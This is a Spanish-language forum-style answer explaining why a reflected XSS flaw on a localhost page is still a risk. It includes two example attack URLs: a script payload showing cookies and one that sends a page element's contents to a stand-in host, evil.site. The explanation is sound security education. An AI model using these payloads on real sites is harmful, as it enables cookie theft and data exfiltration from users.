Sí, es un problema.
El objetivo principal de un XSS es enviar a un usuario a una URL diseñada que explota el error en el navegador de ese usuario. Si un atacante sabe que existe un XSS, podría crear una URL XSS y enviarla a un usuario objetivo, y ese usuario podría acceder al dominio localhost.
Por ejemplo, digamos que hay una página llamada /viewitem
que toma un parámetro name
, que es vulnerable a XSS:
http://localhost/viewitem?id=123&name=n<script>alert(document.cookie);</script>
Te envía ese enlace. Hace clic en él y, de repente, aparece un cuadro de alerta que contiene las cookies de la página. En realidad, publicaría el valor de las cookies en un sitio de terceros, ¡y ha robado tus cookies! En este caso, en realidad no puede acceder al sitio, por lo que es un punto discutible.
Sin embargo, dependiendo de la configuración del sitio, es posible que también pueda filtrar los datos de la página viewitem
. Por ejemplo:
http://localhost/viewitem?id=123&name=n<script>var ver=document.getElementById('version').innerHTML;document.location.href='http://evil.site/steal?ver='+encodeURIComponent(ver);</script>
Si tienes un elemento con el id version
, la URL anterior extraerá su contenido y lo enviará a una página de terceros, informando así al atacante de la versión de tu software. Este truco podría extenderse para robar otra información privada en la página, o usar Ajax para obtener otro contenido del dominio localhost
.